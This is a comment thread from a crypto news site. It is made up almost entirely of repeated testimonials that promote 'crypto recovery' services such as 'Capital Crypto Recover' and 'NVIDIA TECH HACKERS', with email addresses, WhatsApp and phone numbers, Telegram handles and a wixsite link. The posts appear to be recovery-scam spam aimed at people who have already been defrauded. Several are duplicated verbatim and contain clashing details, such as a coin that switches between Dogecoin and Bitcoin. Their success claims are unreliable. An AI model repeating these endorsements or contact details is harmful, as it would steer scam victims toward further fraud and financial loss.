protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях